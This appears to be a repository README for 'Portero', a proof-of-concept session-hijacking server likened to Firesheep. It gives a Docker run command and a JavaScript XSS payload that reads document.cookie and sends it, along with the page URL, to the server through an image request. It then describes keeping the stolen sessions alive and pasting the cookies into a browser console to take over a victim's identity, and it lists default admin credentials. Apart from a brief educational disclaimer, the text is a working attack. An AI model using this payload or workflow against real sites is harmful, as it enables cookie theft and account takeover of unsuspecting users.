javajudd/portero repository overview

Portero a serverside like Firesheep. It is a proof of concept and should not be used for production or malicious purposes. It is only intended for educational purposes.

To run:

docker run -p 9000:9000 -t javajudd/portero

On a web page that is vulnerable to XSS you can inject the following JavaScript to send any cookies not protected with HttpOnly to Portero.

document.createElement("img").src="http://localhost:9000/hijack?url=⁠" + encodeURIComponent(window.location.href) + "&cookies=" + encodeURIComponent(document.cookie)

Portero will repeated ping the server to keep the session alive until you are ready to assume the identity of a user. Then you can grab the document.cookie example form http://:9000 using credentials admin/password1 and paste it into a browsers console and refresh. Voilà!! You have assumed their identity.